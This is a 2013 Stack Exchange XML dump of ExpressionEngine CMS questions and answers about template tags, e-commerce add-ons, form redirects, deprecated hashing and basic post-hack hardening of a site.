  <row Id="10279" PostTypeId="1" CreationDate="2013-05-10T16:01:55.137" Score="0" ViewCount="89" Body="&lt;p&gt;After recently testing a form using 'Email Contact Form' on IE8 I found that the redirect page does not work at all. It just sits there on the standard EE 'Thank You!' panel and does nothing. It seems to load my 'Thank You' page cause the link on the EE 'Thank You' page (see attached) panel does not work but my cursor detects content from my 'Thank You' page even though it is not visible. Has anyone else had any problems with this kind of thing at all and with IE8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3Zm5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="116" LastEditDate="2013-05-11T05:53:51.573" LastActivityDate="2013-05-11T10:39:11.367" Title="Email Contact Form redirection in IE8" Tags="|forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10281" PostTypeId="2" ParentId="10273" CreationDate="2013-05-10T16:21:08.297" Score="2" Body="&lt;p&gt;If you don't use the CP to edit your config file, you can move some of the settings to another file and to use include() or require() to push it to the main config.php. The &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow&quot;&gt;NSM Config Bootstrap&lt;/a&gt;, for example, uses this approach.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-10T16:21:08.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10282" PostTypeId="2" ParentId="10277" CreationDate="2013-05-10T17:06:15.683" Score="1" Body="&lt;p&gt;Inside your channel entries tag pair add this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries channel=&quot;officer_branch&quot;}&#xA;  &amp;lt;a href=&quot;/branch/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-10T17:06:15.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10283" PostTypeId="2" ParentId="10277" CreationDate="2013-05-10T17:12:49.607" Score="0" Body="&lt;p&gt;If I understood you right and you are using &lt;strong&gt;url_title&lt;/strong&gt; instead of entry_id as segment, this code should do the job on EECMS 2.5.5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;loan-officers&quot;}&#xA;    {related_entries id=&quot;officer_branch&quot; limit=&quot;1&quot;}&#xA;      &amp;lt;a href=&quot;{url_title_path='branch'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;  &#xA;    {/related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reverse_related_entries would be used on the page of the branch, to list the associated loan officers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the documentation to your version on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/&quot; rel=&quot;nofollow&quot;&gt;User Guide of ExpressionEngine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, it's always better to use the most recent version.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-05-10T21:58:51.723" LastActivityDate="2013-05-10T21:58:51.723" CommentCount="3" CommunityOwnedDate="2013-05-10T17:12:49.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="10285" PostTypeId="2" ParentId="10123" CreationDate="2013-05-11T00:52:17.773" Score="3" Body="&lt;p&gt;If I understood you right, you just want to categorize your members. Am I right? If this is your intention, I suggest you to try &lt;a href=&quot;http://devot-ee.com/add-ons/ab-member-categories&quot; rel=&quot;nofollow&quot;&gt;AB Member Categories&lt;/a&gt;. Zoo Visitor and Solspace User looks like so much power for so little needs.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-11T00:52:17.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10286" PostTypeId="1" CreationDate="2013-05-11T01:08:52.577" Score="2" ViewCount="139" Body="&lt;p&gt;I am trying to display information stored in a price modifier column I added called {option_color}. Can someone help me? I tried the following but didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form&#xA;        class='form-horizontal'&#xA;        name=&quot;productView&quot;&#xA;        entry_id=&quot;{entry_id}&quot;&#xA;        no_tax=&quot;{no_tax}&quot;&#xA;        no_shipping = &quot;{no_shipping}&quot;&#xA;        return=&quot;store/view_cart&quot;} &#xA;&#xA;    {exp:cartthrob:item_options field=&quot;envelope_options&quot; entry_id=&quot;{entry_id}&quot; row_id=&quot;{row_id}&quot;}&#xA;        {option_label}: {option_color}&#xA;    {/exp:cartthrob:item_options}&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1471" LastEditorUserId="116" LastEditDate="2013-05-11T05:50:33.780" LastActivityDate="2013-05-12T17:35:13.697" Title="CartThrob Price Modifier Question" Tags="|cartthrob|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10287" PostTypeId="2" ParentId="10111" CreationDate="2013-05-11T01:47:50.783" Score="0" Body="&lt;p&gt;I can imagine a way to this on EECMS, using two {categories} tag pairs, but, since its is a design issue that can be solved just on CSS, lets do it. Besides, the solution using CSS is much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can drop support to IE6 and IE7, you can use display:table-cell.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sponsor.group {display: table;}&#xA;.sponsor.group &amp;gt; a {display: table-cell;}&#xA;.category_image {display: block; margin: 0 auto; padding: 10px; width: 85%;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some older versions of webkit may need a child element of div.sponsor.group to play the role of table-row.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In case somebody really needs to use a class name to represent how many categories a entry has, this is the easier solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;sponsor group {categories show_group=&quot;2&quot;}s{/categories}&quot;&amp;gt;&#xA;{categories show_group=&quot;2&quot;}&#xA;    &amp;lt;a href=&quot;...&quot;&amp;gt;&amp;lt;img class=&quot;category_image&quot; src=&quot;{category_image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.s {}&#xA;.ss {}&#xA;.sss {}&#xA;.ssss {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-05-14T23:58:31.417" LastActivityDate="2013-05-14T23:58:31.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10288" PostTypeId="2" ParentId="9204" CreationDate="2013-05-11T01:55:40.333" Score="0" Body="&lt;p&gt;I would not do this by IP address. Write a custom extension to create a cookie for logged out user once visiting the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That cookie could have an expiration date of 0. If the expiration is set to zero the cookie will only last as long as the browser is open. This can be set in longer intervals i.e. 2 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every article viewed would update the cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrap content with a custom method that first checks if the user is logged out, then check for cookie value of how many times an article has been viewed. If user is logged in, disregard anything related to a cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to full proof client side access if the user is not logged in. What user, unless a knowledgeable one that knows how cookies work would make the decision to use a different browser when most users operate with one? Probably a small percentage.&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2013-05-11T03:54:57.507" LastActivityDate="2013-05-11T03:54:57.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10289" PostTypeId="2" ParentId="1383" CreationDate="2013-05-11T02:05:11.383" Score="0" Body="&lt;p&gt;We had the same issues. We hacked our way to a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/surprisehighway/MailChimp-Subscribe-Profile-Edit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/surprisehighway/MailChimp-Subscribe-Profile-Edit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-05-11T02:05:11.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10290" PostTypeId="2" ParentId="10165" CreationDate="2013-05-11T03:36:10.420" Score="1" Body="&lt;p&gt;I found the issues on your code samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to use &quot;/peter/blog/hello-world&quot; for the unique entry page, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first one, the second possibility of your conditional just runs if the segment_2 isn't &quot;blog&quot;, but the segment_2 will always be &quot;blog&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second one, the second conditional just runs if there's no segment_3, but you need the segment_3 to find the the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets fix it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, how are you coding the permalinks? Are you using &quot;{url_title_path='blog/{segment_2}'}&quot;? Personally, I prefer to use relative links, so I used them on my code samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I strong suggest you to avoid advanced conditionals. From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Simple conditionals are parsed before module tags, but advanced conditionals are parsed after module tags. If a simple conditional evaluates false, ExpressionEngine simply ignores a module tag within that conditional, neither rendering it nor displaying it. But if an advanced conditional evaluates false, ExpressionEngine can only hide the output of the already fully rendered module tag. That amounts to a big difference in performance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Your first option is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;blog&quot;}&#xA;    {if segment_3 == &quot;&quot;}&#xA;        {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;          &amp;lt;a href=&quot;/blog/{segment_2}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_3}&#xA;        {exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;            {title}&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since two entries can't use the same url_title on the same site, there's no need for the username parameter on the unique entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this is gonna &lt;strong&gt;break your pagination&lt;/strong&gt; in case of, for example, &quot;/peter/blog/P10&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets improve it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can use the segment_3 as a marker for your posts: &quot;/peter/blog/posts/hello-world&quot;. In this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;blog&quot;}&#xA;    {if segment_3 != &quot;posts&quot;}&#xA;        {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;          &amp;lt;a href=&quot;/blog/{segment_2}/post/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_3 == &quot;posts&quot;}&#xA;        {if segment_4}&#xA;            {exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot; url_title=&quot;{segment_4}&quot;}&#xA;                {title}&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;        {if segment_4 == &quot;&quot;}&#xA;            {redirect=&quot;404&quot;} or what else you want to do in case of &quot;/peter/blog/posts/&quot;.&#xA;        {/if}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EECMS just looks for entry_id or entry_title on {segment_2} and {segment_3}. Because of this, we need to use the url_title parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, but maybe you can't use the word &quot;posts&quot; on segment_3.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The solution for this is to use RegEX to check the pagination. The &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;addon switchee&lt;/a&gt; allows the use of RegEx on conditional tests.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;blog&quot;}&#xA;    {exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;#P\d+$#|''&quot;}&#xA;            {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;              &amp;lt;a href=&quot;/blog/{segment_2}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;            {/exp:channel:entries}      &#xA;        {/case}&#xA;        {case default=&quot;Yes&quot;}&#xA;            {exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;                {title}&#xA;            {/exp:channel:entries}&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first case checks for &quot;P&quot; followed by more than one digit or &quot;&quot;, while the second deals with all other cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bye!&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-05-13T11:40:53.847" LastActivityDate="2013-05-13T11:40:53.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10291" PostTypeId="2" ParentId="10278" CreationDate="2013-05-11T07:30:10.333" Score="0" Body="&lt;p&gt;I wouldn't say it's dead easy. If you're experienced with PHP it's certainly possible - how easy it is depends on the particular gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with Sage Pay Form, and it's not supported out of the box with Store, so yes, to support it you would need to code a custom gateway. In the end you might find using one of the existing and supported Sage Pay gateways easier and much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store's payment library is open source (you can see the code here: &lt;a href=&quot;https://github.com/expressodev/ci-merchant&quot; rel=&quot;nofollow&quot;&gt;CI-Merchant&lt;/a&gt;). There are no guides describing exactly how to write a new payment gateway, because each one is different. Basically you will need to copy the code one of the existing gateways, and go about amending it based on the API documentation from your payment gateway.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-11T07:30:10.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10292" PostTypeId="2" ParentId="10279" CreationDate="2013-05-11T10:39:11.367" Score="1" Body="&lt;p&gt;With a little jQuery AJAX knowledge, you can avoid the &quot;Thank You&quot; page &amp;amp; redirection entirely by using &lt;a href=&quot;http://www.highintegritydesign.com/blog/articles/creating-a-modern-ajax-contact-form-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; and &lt;a href=&quot;https://github.com/northk/ee-ajax-contact-form&quot; rel=&quot;nofollow&quot;&gt;accompanying jQuery script&lt;/a&gt;.  This approach has worked well for me. &lt;/p&gt;&#xA;" OwnerUserId="1024" LastActivityDate="2013-05-11T10:39:11.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10293" PostTypeId="2" ParentId="10136" CreationDate="2013-05-11T13:10:42.010" Score="0" Body="&lt;p&gt;Field Pack 2.0.2 requires EE 2.6 at least. Having same issue with EE 2.5.5 and fieldpack 1.03&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-05-11T13:10:42.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10294" PostTypeId="1" CreationDate="2013-05-11T14:32:36.080" Score="0" ViewCount="446" Body="&lt;p&gt;I am trying to help someone recover from a hack and prevent a further incident.  They are running version 1.7.3.  The result of the hack was modified index.php files in the root and system folders with javascript added to the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hosting company assures us that it is not possible for other users to exploit php and web server privileges to modify the site files, so, taking that with a grain of salt -I'm looking at other possible vulnerabilities.  So far all I can think of is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A vulnerability in a plug in&lt;/li&gt;&#xA;&lt;li&gt;A vulnerability in the php used in some templates&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So far I'm not finding any issues in trying to investigate in the plugins, but not a whole lot of information either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What specific steps can I take to locate the vulnerabilities and prevent another attack?&lt;/p&gt;&#xA;" OwnerUserId="1470" LastEditorDisplayName="user800" LastEditDate="2013-05-11T15:55:47.007" LastActivityDate="2013-05-11T16:00:53.243" Title="Recovering from a site hack, preventing another one" Tags="|php|ee1|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10295" PostTypeId="2" ParentId="10294" CreationDate="2013-05-11T15:52:13.683" Score="1" Body="&lt;p&gt;There are several solutions to securing your EE installation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename your index.php file to something else - even if it isn't &quot;visible&quot; in the site URLs, if it still uses its same name, that makes it vulnerable to potential attacks because it's visible.&lt;/li&gt;&#xA;&lt;li&gt;Rename the /system/ file to something else&lt;/li&gt;&#xA;&lt;li&gt;Better yet, move the /system/ directory above the web root&lt;/li&gt;&#xA;&lt;li&gt;If you can, figure out a way to use EE so that the site has the same functionality, but uses plugins or existing EE functionality/tags rather than PHP in the templates. That PHP may be totally secure, and I don't think that's what allowed this intrusion this time...but EE is very powerful, there's no reason to use its inbuilt functionality as much as possible. (That's a bit more secure than putting PHP in the templates, but not always.)&lt;/li&gt;&#xA;&lt;li&gt;Have your client regularly change all passwords, and close any accounts that don't absolutely positively 100% need access - either into EE itself, or to the server/hosting account. (When you've got a small company trying to Do It Themself, they sometimes may overlook that.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It would probably be smart to advise these folks to spend the time and money to upgrade to the latest version of EE - and it will be a rocky upgrade process for a version as far back as yours, so make backups - but even then, you'll want to take the steps to secure your installation of EE. The exact steps to renaming these various files and moving these directories are in the EE documentation.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-05-11T16:00:53.243" LastActivityDate="2013-05-11T16:00:53.243" CommentCount="0" CommunityOwnedDate="2013-05-11T15:52:13.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="10299" PostTypeId="1" AcceptedAnswerId="10301" CreationDate="2013-05-11T20:46:20.943" Score="1" ViewCount="496" Body="&lt;p&gt;EE is warning about a deprecated function from the NCE LDAP plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$encrypted_password = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;hash(stripslashes($user_info['password']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the replacement below, but can't quite figure out how to rewrite this line to use the do_hash...and work.  Anyone able to rewrite this?&#xA;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/security_helper.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/helpers/security_helper.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="182" LastEditDate="2013-05-11T22:21:15.493" LastActivityDate="2013-05-11T22:21:15.493" Title="Deprecated hash replacement" Tags="|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10300" PostTypeId="2" ParentId="9893" CreationDate="2013-05-11T21:02:51.913" Score="3" Body="&lt;p&gt;I spent some time trying to understand what happens on your code, until I notice the variable &quot;{child_category_end}&quot;. This variable shows that the addon Laisvunas' Child Categories doesn't use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;template class&lt;/a&gt; of EECMS, otherwise the variables would be something like &quot;{child_category}(...){/child_category}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say for sure without to read the code of the addon, but it looks like to have its own parser and maybe this parser deals with conditionals. If I'm right, the issues you're having aren't problems on EECMS that we can help you with. The solution can be just the space before the &quot;==&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;{child_category_url_title}&quot; } class=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == {child_category_url_title} } class=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_3}&quot; == &quot;{child_category_url_title}&quot; } class=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't say for sure and I guess just the developer of the addon can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the reason you choose this addon, but you can do almost the same using    {&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;exp:channel:categories&lt;/a&gt;}, selecting one category_group and removing the parent categories you don't want to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-11T21:02:51.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10301" PostTypeId="2" ParentId="10299" CreationDate="2013-05-11T21:37:07.307" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-6-0&quot; rel=&quot;nofollow&quot;&gt;changelog&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deprecated methods:&lt;br&gt;&#xA;  Security helper’s do_hash(), use PHP’s hashing functions instead.&lt;br&gt;&#xA;  Removed Methods:&lt;br&gt;&#xA;  Functions::hash()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The link you provide shows that do_hash() uses SHA1 by default. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$encrypted_password = hash('sha1',stripslashes($user_info['password']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-11T21:37:07.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10302" PostTypeId="1" CreationDate="2013-05-11T21:54:03.717" Score="1" ViewCount="94" Body="&lt;p&gt;Is there a way to automatically populate Matrix rows with channel entries with a custom status?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-06-16T09:28:53.233" Title="Automatically populate Matrix Rows" Tags="|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10303" PostTypeId="2" ParentId="7166" CreationDate="2013-05-11T22:15:23.910" Score="1" Body="&lt;p&gt;I experienced the same issue (also Channel Videos 3.1.0 and EE 2.5.5) on a site which was making use of SSL (https) - I was able to resolve the issue by using https when logged into the CMS. i.e. &lt;a href=&quot;https://domain.com/system/&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/system/&lt;/a&gt;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Videos then 'stayed deleted' from the Channel Videos field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{site_url} = &lt;a href=&quot;https://domain.com&quot; rel=&quot;nofollow&quot;&gt;https://domain.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I'm not 100% sure why it worked, I hope it helps nonetheless!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matt&lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2013-05-11T22:15:23.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10304" PostTypeId="2" ParentId="387" CreationDate="2013-05-12T00:01:41.520" Score="1" Body="&lt;p&gt;I also like using Beanstalk because of its deploy via FTP feature.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-05-12T00:01:41.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10305" PostTypeId="2" ParentId="10100" CreationDate="2013-05-12T03:44:06.433" Score="3" Body="&lt;p&gt;If you look within the table structure for the relationship, the relationship data is stored within database table exp_relationships so only we need to update this table for the field_id. The parent_id and child_id are already in same format required for multi-relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to follow these steps:&#xA;1) Make the &quot;book_author&quot; as multi-relations by checking &quot;Allow multiple relations?&quot; from the field settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) book_author2 and book_author3 are no longer needed in relationship so exp_relationships database table need to be updated accordingly by SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_relationships LEFT JOIN exp_channel_titles &#xA;ON exp_relationships.parent_id=exp_channel_titles.entry_id&#xA;SET exp_relationships.field_id=[book_author FIELD ID]&#xA;WHERE exp_channel_titles.channel_id=[CHANNEL ID]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might update the [book_author FIELD ID] and [CHANNEL ID] according to your preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please Note&lt;/strong&gt;: I didn't try it yet but after seeing all the table structure for multi-relationship, it would work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once everything worked perfectly you can delete fields book_author2 and book_author3.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-05-13T02:15:36.393" LastActivityDate="2013-05-13T02:15:36.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10306" PostTypeId="2" ParentId="10286" CreationDate="2013-05-12T05:35:33.543" Score="1" Body="&lt;p&gt;I answered my own question...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;  {envelope_options}&#xA;    {option_name} {option_color}&#xA;  {/envelope_options}&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1471" LastEditorUserId="100" LastEditDate="2013-05-12T13:10:04.193" LastActivityDate="2013-05-12T13:10:04.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10307" PostTypeId="2" ParentId="9959" CreationDate="2013-05-12T07:50:32.977" Score="0" Body="&lt;p&gt;It sounds like you need the &lt;a href=&quot;https://exp-resso.com/docs/store/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form tag&lt;/a&gt;. The product form tag allows you to create forms which add multiple products to the cart at once (you need this if you want customers to specify quantities for more than one product and add them all at once).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form}&#xA;  {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;      {exp:store:product disable_form=&quot;yes&quot; entry_id=&quot;{entry_id}&quot;}&#xA;          &amp;lt;!-- add to cart form / product details --&amp;gt;&#xA;    {exp:store:product}&#xA;  {/exp:channel:entries}&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally this works with individual products, so you will probably need some creative templating using the query module if you want to let customers add different variations of the same product to their cart at the same time.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-12T07:50:32.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
